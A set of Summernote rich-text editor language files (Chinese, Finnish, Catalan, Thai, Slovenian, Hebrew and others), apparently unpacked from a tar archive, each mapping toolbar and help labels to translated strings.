!function(e){e.extend(e.summernote.lang,{"zh-CN":{font:{bold:"粗体",italic:"斜体",underline:"下划线",clear:"清除格式",height:"行高",name:"字体",strikethrough:"删除线",subscript:"下标",superscript:"上标",size:"字号"},image:{image:"图片",insert:"插入图片",resizeFull:"缩放至 100%",resizeHalf:"缩放至 50%",resizeQuarter:"缩放至 25%",floatLeft:"靠左浮动",floatRight:"靠右浮动",floatNone:"取消浮动",shapeRounded:"形状: 圆角",shapeCircle:"形状: 圆",shapeThumbnail:"形状: 缩略图",shapeNone:"形状: 无",dragImageHere:"将图片拖拽至此处",dropImage:"Drop image or Text",selectFromFiles:"从本地上传",maximumFileSize:"文件大小最大值",maximumFileSizeError:"文件大小超出最大值。",url:"图片地址",remove:"移除图片",original:"Original"},video:{video:"视频",videoLink:"视频链接",insert:"插入视频",url:"视频地址",providers:"(优酷, 腾讯, Instagram, DailyMotion, Youtube等)"},link:{link:"链接",insert:"插入链接",unlink:"去除链接",edit:"编辑链接",textToDisplay:"显示文本",url:"链接地址",openInNewWindow:"在新窗口打开"},table:{table:"表格",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"水平线"},style:{style:"样式",p:"普通",blockquote:"引用",pre:"代码",h1:"标题 1",h2:"标题 2",h3:"标题 3",h4:"标题 4",h5:"标题 5",h6:"标题 6"},lists:{unordered:"无序列表",ordered:"有序列表"},options:{help:"帮助",fullscreen:"全屏",codeview:"源代码"},paragraph:{paragraph:"段落",outdent:"减少缩进",indent:"增加缩进",left:"左对齐",center:"居中对齐",right:"右对齐",justify:"两端对齐"},color:{recent:"最近使用",more:"更多",background:"背景",foreground:"前景",transparent:"透明",setTransparent:"透明",reset:"重置",resetToDefault:"默认"},shortcut:{shortcuts:"快捷键",close:"关闭",textFormatting:"文本格式",action:"动作",paragraphFormatting:"段落格式",documentStyle:"文档样式",extraKeys:"额外按键"},help:{insertParagraph:"插入段落",undo:"撤销",redo:"重做",tab:"增加缩进",untab:"减少缩进",bold:"粗体",italic:"斜体",underline:"下划线",strikethrough:"删除线",removeFormat:"清除格式",justifyLeft:"左对齐",justifyCenter:"居中对齐",justifyRight:"右对齐",justifyFull:"两端对齐",insertUnorderedList:"无序列表",insertOrderedList:"有序列表",outdent:"减少缩进",indent:"增加缩进",formatPara:"设置选中内容样式为 普通",formatH1:"设置选中内容样式为 标题1",formatH2:"设置选中内容样式为 标题2",formatH3:"设置选中内容样式为 标题3",formatH4:"设置选中内容样式为 标题4",formatH5:"设置选中内容样式为 标题5",formatH6:"设置选中内容样式为 标题6",insertHorizontalRule:"插入水平线","linkDialog.show":"显示链接对话框"},history:{undo:"撤销",redo:"重做"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-fi-FI.js000064400000011737151677331550011137 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'fi-FI': {
      font: {
        bold: 'Lihavoitu',
        italic: 'Kursiivi',
        underline: 'Alleviivaa',
        clear: 'Tyhjennä muotoilu',
        height: 'Riviväli',
        name: 'Kirjasintyyppi',
        strikethrough: 'Yliviivaus',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Kirjasinkoko'
      },
      image: {
        image: 'Kuva',
        insert: 'Lisää kuva',
        resizeFull: 'Koko leveys',
        resizeHalf: 'Puolikas leveys',
        resizeQuarter: 'Neljäsosa leveys',
        floatLeft: 'Sijoita vasemmalle',
        floatRight: 'Sijoita oikealle',
        floatNone: 'Ei sijoitusta',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Vedä kuva tähän',
        selectFromFiles: 'Valitse tiedostoista',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL-osoitteen mukaan',
        remove: 'Poista kuva',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Linkki videoon',
        insert: 'Lisää video',
        url: 'Videon URL-osoite?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion tai Youku)'
      },
      link: {
        link: 'Linkki',
        insert: 'Lisää linkki',
        unlink: 'Poista linkki',
        edit: 'Muokkaa',
        textToDisplay: 'Näytettävä teksti',
        url: 'Linkin URL-osoite?',
        openInNewWindow: 'Avaa uudessa ikkunassa'
      },
      table: {
        table: 'Taulukko',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Lisää vaakaviiva'
      },
      style: {
        style: 'Tyyli',
        p: 'Normaali',
        blockquote: 'Lainaus',
        pre: 'Koodi',
        h1: 'Otsikko 1',
        h2: 'Otsikko 2',
        h3: 'Otsikko 3',
        h4: 'Otsikko 4',
        h5: 'Otsikko 5',
        h6: 'Otsikko 6'
      },
      lists: {
        unordered: 'Luettelomerkitty luettelo',
        ordered: 'Numeroitu luettelo'
      },
      options: {
        help: 'Ohje',
        fullscreen: 'Koko näyttö',
        codeview: 'HTML-näkymä'
      },
      paragraph: {
        paragraph: 'Kappale',
        outdent: 'Pienennä sisennystä',
        indent: 'Suurenna sisennystä',
        left: 'Tasaus vasemmalle',
        center: 'Keskitä',
        right: 'Tasaus oikealle',
        justify: 'Tasaa'
      },
      color: {
        recent: 'Viimeisin väri',
        more: 'Lisää värejä',
        background: 'Taustaväri',
        foreground: 'Tekstin väri',
        transparent: 'Läpinäkyvä',
        setTransparent: 'Aseta läpinäkyväksi',
        reset: 'Palauta',
        resetToDefault: 'Palauta oletusarvoksi'
      },
      shortcut: {
        shortcuts: 'Pikanäppäimet',
        close: 'Sulje',
        textFormatting: 'Tekstin muotoilu',
        action: 'Toiminto',
        paragraphFormatting: 'Kappaleen muotoilu',
        documentStyle: 'Asiakirjan tyyli'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Kumoa',
        redo: 'Toista'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-zh-TW.min.js000064400000006476151677331550012004 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"zh-TW":{font:{bold:"粗體",italic:"斜體",underline:"底線",clear:"清除格式",height:"行高",name:"字體",strikethrough:"刪除線",subscript:"下標",superscript:"上標",size:"字號"},image:{image:"圖片",insert:"插入圖片",resizeFull:"縮放至100%",resizeHalf:"縮放至 50%",resizeQuarter:"縮放至 25%",floatLeft:"靠左浮動",floatRight:"靠右浮動",floatNone:"取消浮動",shapeRounded:"形狀: 圓角",shapeCircle:"形狀: 圓",shapeThumbnail:"形狀: 縮略圖",shapeNone:"形狀: 無",dragImageHere:"將圖片拖曳至此處",dropImage:"Drop image or Text",selectFromFiles:"從本機上傳",maximumFileSize:"文件大小最大值",maximumFileSizeError:"文件大小超出最大值。",url:"圖片網址",remove:"移除圖片",original:"Original"},video:{video:"影片",videoLink:"影片連結",insert:"插入影片",url:"影片網址",providers:"(優酷, Instagram, DailyMotion, Youtube等)"},link:{link:"連結",insert:"插入連結",unlink:"取消連結",edit:"編輯連結",textToDisplay:"顯示文字",url:"連結網址",openInNewWindow:"在新視窗開啟"},table:{table:"表格",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"水平線"},style:{style:"樣式",p:"一般",blockquote:"引用區塊",pre:"程式碼區塊",h1:"標題 1",h2:"標題 2",h3:"標題 3",h4:"標題 4",h5:"標題 5",h6:"標題 6"},lists:{unordered:"項目清單",ordered:"編號清單"},options:{help:"幫助",fullscreen:"全螢幕",codeview:"原始碼"},paragraph:{paragraph:"段落",outdent:"取消縮排",indent:"增加縮排",left:"靠右對齊",center:"靠中對齊",right:"靠右對齊",justify:"左右對齊"},color:{recent:"字型顏色",more:"更多",background:"背景",foreground:"前景",transparent:"透明",setTransparent:"透明",reset:"重設",resetToDefault:"默認"},shortcut:{shortcuts:"快捷鍵",close:"關閉",textFormatting:"文字格式",action:"動作",paragraphFormatting:"段落格式",documentStyle:"文件格式",extraKeys:"額外按鍵"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"復原",redo:"取消復原"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-ca-ES.js000064400000012405151677331550011126 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'ca-ES': {
      font: {
        bold: 'Negreta',
        italic: 'Cursiva',
        underline: 'Subratllat',
        clear: 'Treure estil de lletra',
        height: 'Alçada de línia',
        name: 'Font',
        strikethrough: 'Ratllat',
        subscript: 'Subíndex',
        superscript: 'Superíndex',
        size: 'Mida de lletra'
      },
      image: {
        image: 'Imatge',
        insert: 'Inserir imatge',
        resizeFull: 'Redimensionar a mida completa',
        resizeHalf: 'Redimensionar a la meitat',
        resizeQuarter: 'Redimensionar a un quart',
        floatLeft: 'Alinear a l\'esquerra',
        floatRight: 'Alinear a la dreta',
        floatNone: 'No alinear',
        shapeRounded: 'Forma: Arrodonit',
        shapeCircle: 'Forma: Cercle',
        shapeThumbnail: 'Forma: Marc',
        shapeNone: 'Forma: Cap',
        dragImageHere: 'Arrossegueu una imatge o text aquí',
        dropImage: 'Deixa anar aquí una imatge o un text',
        selectFromFiles: 'Seleccioneu des dels arxius',
        maximumFileSize: 'Mida màxima de l\'arxiu',
        maximumFileSizeError: 'La mida màxima de l\'arxiu s\'ha superat.',
        url: 'URL de la imatge',
        remove: 'Eliminar imatge',
        original: 'Original'
      },
      video: {
        video: 'Vídeo',
        videoLink: 'Enllaç del vídeo',
        insert: 'Inserir vídeo',
        url: 'URL del vídeo?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion o Youku)'
      },
      link: {
        link: 'Enllaç',
        insert: 'Inserir enllaç',
        unlink: 'Treure enllaç',
        edit: 'Editar',
        textToDisplay: 'Text per mostrar',
        url: 'Cap a quina URL porta l\'enllaç?',
        openInNewWindow: 'Obrir en una finestra nova'
      },
      table: {
        table: 'Taula',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Inserir línia horitzontal'
      },
      style: {
        style: 'Estil',
        p: 'p',
        blockquote: 'Cita',
        pre: 'Codi',
        h1: 'Títol 1',
        h2: 'Títol 2',
        h3: 'Títol 3',
        h4: 'Títol 4',
        h5: 'Títol 5',
        h6: 'Títol 6'
      },
      lists: {
        unordered: 'Llista desendreçada',
        ordered: 'Llista endreçada'
      },
      options: {
        help: 'Ajut',
        fullscreen: 'Pantalla sencera',
        codeview: 'Veure codi font'
      },
      paragraph: {
        paragraph: 'Paràgraf',
        outdent: 'Menys tabulació',
        indent: 'Més tabulació',
        left: 'Alinear a l\'esquerra',
        center: 'Alinear al mig',
        right: 'Alinear a la dreta',
        justify: 'Justificar'
      },
      color: {
        recent: 'Últim color',
        more: 'Més colors',
        background: 'Color de fons',
        foreground: 'Color de lletra',
        transparent: 'Transparent',
        setTransparent: 'Establir transparent',
        reset: 'Restablir',
        resetToDefault: 'Restablir per defecte'
      },
      shortcut: {
        shortcuts: 'Dreceres de teclat',
        close: 'Tancar',
        textFormatting: 'Format de text',
        action: 'Acció',
        paragraphFormatting: 'Format de paràgraf',
        documentStyle: 'Estil del document',
        extraKeys: 'Tecles adicionals'
      },
      help: {
        'insertParagraph': 'Inserir paràgraf',
        'undo': 'Desfer l\'última acció',
        'redo': 'Refer l\'última acció',
        'tab': 'Tabular',
        'untab': 'Eliminar tabulació',
        'bold': 'Establir estil negreta',
        'italic': 'Establir estil cursiva',
        'underline': 'Establir estil subratllat',
        'strikethrough': 'Establir estil ratllat',
        'removeFormat': 'Netejar estil',
        'justifyLeft': 'Alinear a l\'esquerra',
        'justifyCenter': 'Alinear al centre',
        'justifyRight': 'Alinear a la dreta',
        'justifyFull': 'Justificar',
        'insertUnorderedList': 'Inserir llista desendreçada',
        'insertOrderedList': 'Inserir llista endreçada',
        'outdent': 'Reduïr tabulació del paràgraf',
        'indent': 'Augmentar tabulació del paràgraf',
        'formatPara': 'Canviar l\'estil del bloc com a un paràgraf (etiqueta P)',
        'formatH1': 'Canviar l\'estil del bloc com a un H1',
        'formatH2': 'Canviar l\'estil del bloc com a un H2',
        'formatH3': 'Canviar l\'estil del bloc com a un H3',
        'formatH4': 'Canviar l\'estil del bloc com a un H4',
        'formatH5': 'Canviar l\'estil del bloc com a un H5',
        'formatH6': 'Canviar l\'estil del bloc com a un H6',
        'insertHorizontalRule': 'Inserir una línia horitzontal',
        'linkDialog.show': 'Mostrar panel d\'enllaços'
      },
      history: {
        undo: 'Desfer',
        redo: 'Refer'
      },
      specialChar: {
        specialChar: 'CARÀCTERS ESPECIALS',
        select: 'Selecciona caràcters especials'
      }
    }
  });
})(jQuery);
lang/summernote-th-TH.js000064400000015156151677331550011170 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'th-TH': {
      font: {
        bold: 'ตัวหนา',
        italic: 'ตัวเอียง',
        underline: 'ขีดเส้นใต้',
        clear: 'ล้างรูปแบบตัวอักษร',
        height: 'ความสูงบรรทัด',
        name: 'แบบตัวอักษร',
        strikethrough: 'ขีดฆ่า',
        subscript: 'ตัวห้อย',
        superscript: 'ตัวยก',
        size: 'ขนาดตัวอักษร'
      },
      image: {
        image: 'รูปภาพ',
        insert: 'แทรกรูปภาพ',
        resizeFull: 'ปรับขนาดเท่าจริง',
        resizeHalf: 'ปรับขนาดลง 50%',
        resizeQuarter: 'ปรับขนาดลง 25%',
        floatLeft: 'ชิดซ้าย',
        floatRight: 'ชิดขวา',
        floatNone: 'ไม่จัดตำแหน่ง',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'ลากรูปภาพที่ต้องการไว้ที่นี่',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'เลือกไฟล์รูปภาพ',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'ที่อยู่ URL ของรูปภาพ',
        remove: 'ลบรูปภาพ',
        original: 'Original'
      },
      video: {
        video: 'วีดีโอ',
        videoLink: 'ลิงก์ของวีดีโอ',
        insert: 'แทรกวีดีโอ',
        url: 'ที่อยู่ URL ของวีดีโอ?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion หรือ Youku)'
      },
      link: {
        link: 'ตัวเชื่อมโยง',
        insert: 'แทรกตัวเชื่อมโยง',
        unlink: 'ยกเลิกตัวเชื่อมโยง',
        edit: 'แก้ไข',
        textToDisplay: 'ข้อความที่ให้แสดง',
        url: 'ที่อยู่เว็บไซต์ที่ต้องการให้เชื่อมโยงไปถึง?',
        openInNewWindow: 'เปิดในหน้าต่างใหม่'
      },
      table: {
        table: 'ตาราง',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'แทรกเส้นคั่น'
      },
      style: {
        style: 'รูปแบบ',
        p: 'ปกติ',
        blockquote: 'ข้อความ',
        pre: 'โค้ด',
        h1: 'หัวข้อ 1',
        h2: 'หัวข้อ 2',
        h3: 'หัวข้อ 3',
        h4: 'หัวข้อ 4',
        h5: 'หัวข้อ 5',
        h6: 'หัวข้อ 6'
      },
      lists: {
        unordered: 'รายการแบบไม่มีลำดับ',
        ordered: 'รายการแบบมีลำดับ'
      },
      options: {
        help: 'ช่วยเหลือ',
        fullscreen: 'ขยายเต็มหน้าจอ',
        codeview: 'ซอร์สโค้ด'
      },
      paragraph: {
        paragraph: 'ย่อหน้า',
        outdent: 'เยื้องซ้าย',
        indent: 'เยื้องขวา',
        left: 'จัดหน้าชิดซ้าย',
        center: 'จัดหน้ากึ่งกลาง',
        right: 'จัดหน้าชิดขวา',
        justify: 'จัดบรรทัดเสมอกัน'
      },
      color: {
        recent: 'สีที่ใช้ล่าสุด',
        more: 'สีอื่นๆ',
        background: 'สีพื้นหลัง',
        foreground: 'สีพื้นหน้า',
        transparent: 'โปร่งแสง',
        setTransparent: 'ตั้งค่าความโปร่งแสง',
        reset: 'คืนค่า',
        resetToDefault: 'คืนค่ามาตรฐาน'
      },
      shortcut: {
        shortcuts: 'แป้นลัด',
        close: 'ปิด',
        textFormatting: 'การจัดรูปแบบข้อความ',
        action: 'การกระทำ',
        paragraphFormatting: 'การจัดรูปแบบย่อหน้า',
        documentStyle: 'รูปแบบของเอกสาร',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'ยกเลิกการกระทำ',
        redo: 'ทำซ้ำการกระทำ'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-sl-SI.js000064400000012160151677331550011163 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'sl-SI': {
      font: {
        bold: 'Krepko',
        italic: 'Ležeče',
        underline: 'Podčrtano',
        clear: 'Počisti oblikovanje izbire',
        height: 'Razmik med vrsticami',
        name: 'Pisava',
        strikethrough: 'Prečrtano',
        subscript: 'Podpisano',
        superscript: 'Nadpisano',
        size: 'Velikost pisave'
      },
      image: {
        image: 'Slika',
        insert: 'Vstavi sliko',
        resizeFull: 'Razširi na polno velikost',
        resizeHalf: 'Razširi na polovico velikosti',
        resizeQuarter: 'Razširi na četrtino velikosti',
        floatLeft: 'Leva poravnava',
        floatRight: 'Desna poravnava',
        floatNone: 'Brez poravnave',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Sem povlecite sliko',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Izberi sliko za nalaganje',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL naslov slike',
        remove: 'Odstrani sliko',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Video povezava',
        insert: 'Vstavi video',
        url: 'Povezava do videa',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion ali Youku)'
      },
      link: {
        link: 'Povezava',
        insert: 'Vstavi povezavo',
        unlink: 'Odstrani povezavo',
        edit: 'Uredi',
        textToDisplay: 'Prikazano besedilo',
        url: 'Povezava',
        openInNewWindow: 'Odpri v novem oknu'
      },
      table: {
        table: 'Tabela',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Vstavi horizontalno črto'
      },
      style: {
        style: 'Slogi',
        p: 'Navadno besedilo',
        blockquote: 'Citat',
        pre: 'Koda',
        h1: 'Naslov 1',
        h2: 'Naslov 2',
        h3: 'Naslov 3',
        h4: 'Naslov 4',
        h5: 'Naslov 5',
        h6: 'Naslov 6'
      },
      lists: {
        unordered: 'Označen seznam',
        ordered: 'Oštevilčen seznam'
      },
      options: {
        help: 'Pomoč',
        fullscreen: 'Celozaslonski način',
        codeview: 'Pregled HTML kode'
      },
      paragraph: {
        paragraph: 'Slogi odstavka',
        outdent: 'Zmanjšaj odmik',
        indent: 'Povečaj odmik',
        left: 'Leva poravnava',
        center: 'Desna poravnava',
        right: 'Sredinska poravnava',
        justify: 'Obojestranska poravnava'
      },
      color: {
        recent: 'Uporabi zadnjo barvo',
        more: 'Več barv',
        background: 'Barva ozadja',
        foreground: 'Barva besedila',
        transparent: 'Brez barve',
        setTransparent: 'Brez barve',
        reset: 'Ponastavi',
        resetToDefault: 'Ponastavi na privzeto'
      },
      shortcut: {
        shortcuts: 'Bljižnice',
        close: 'Zapri',
        textFormatting: 'Oblikovanje besedila',
        action: 'Dejanja',
        paragraphFormatting: 'Oblikovanje odstavka',
        documentStyle: 'Oblikovanje naslova',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Razveljavi',
        redo: 'Uveljavi'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-he-IL.js000064400000012447151677331550011142 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'he-IL': {
      font: {
        bold: 'מודגש',
        italic: 'נטוי',
        underline: 'קו תחתון',
        clear: 'נקה עיצוב',
        height: 'גובה',
        name: 'גופן',
        strikethrough: 'קו חוצה',
        subscript: 'כתב תחתי',
        superscript: 'כתב עילי',
        size: 'גודל גופן'
      },
      image: {
        image: 'תמונה',
        insert: 'הוסף תמונה',
        resizeFull: 'גודל מלא',
        resizeHalf: 'להקטין לחצי',
        resizeQuarter: 'להקטין לרבע',
        floatLeft: 'יישור לשמאל',
        floatRight: 'יישור לימין',
        floatNone: 'ישר',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'גרור תמונה לכאן',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'בחר מתוך קבצים',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'נתיב לתמונה',
        remove: 'הסר תמונה',
        original: 'Original'
      },
      video: {
        video: 'סרטון',
        videoLink: 'קישור לסרטון',
        insert: 'הוסף סרטון',
        url: 'קישור לסרטון',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion או Youku)'
      },
      link: {
        link: 'קישור',
        insert: 'הוסף קישור',
        unlink: 'הסר קישור',
        edit: 'ערוך',
        textToDisplay: 'טקסט להציג',
        url: 'קישור',
        openInNewWindow: 'פתח בחלון חדש'
      },
      table: {
        table: 'טבלה',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'הוסף קו'
      },
      style: {
        style: 'עיצוב',
        p: 'טקסט רגיל',
        blockquote: 'ציטוט',
        pre: 'קוד',
        h1: 'כותרת 1',
        h2: 'כותרת 2',
        h3: 'כותרת 3',
        h4: 'כותרת 4',
        h5: 'כותרת 5',
        h6: 'כותרת 6'
      },
      lists: {
        unordered: 'רשימת תבליטים',
        ordered: 'רשימה ממוספרת'
      },
      options: {
        help: 'עזרה',
        fullscreen: 'מסך מלא',
        codeview: 'תצוגת קוד'
      },
      paragraph: {
        paragraph: 'פסקה',
        outdent: 'הקטן כניסה',
        indent: 'הגדל כניסה',
        left: 'יישור לשמאל',
        center: 'יישור למרכז',
        right: 'יישור לימין',
        justify: 'מיושר'
      },
      color: {
        recent: 'צבע טקסט אחרון',
        more: 'עוד צבעים',
        background: 'צבע רקע',
        foreground: 'צבע טקסט',
        transparent: 'שקוף',
        setTransparent: 'קבע כשקוף',
        reset: 'איפוס',
        resetToDefault: 'אפס לברירת מחדל'
      },
      shortcut: {
        shortcuts: 'קיצורי מקלדת',
        close: 'סגור',
        textFormatting: 'עיצוב הטקסט',
        action: 'פעולה',
        paragraphFormatting: 'סגנונות פסקה',
        documentStyle: 'עיצוב המסמך',
        extraKeys: 'קיצורים נוספים'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'בטל פעולה',
        redo: 'בצע שוב'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-el-GR.min.js000064400000012503151677331550011725 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

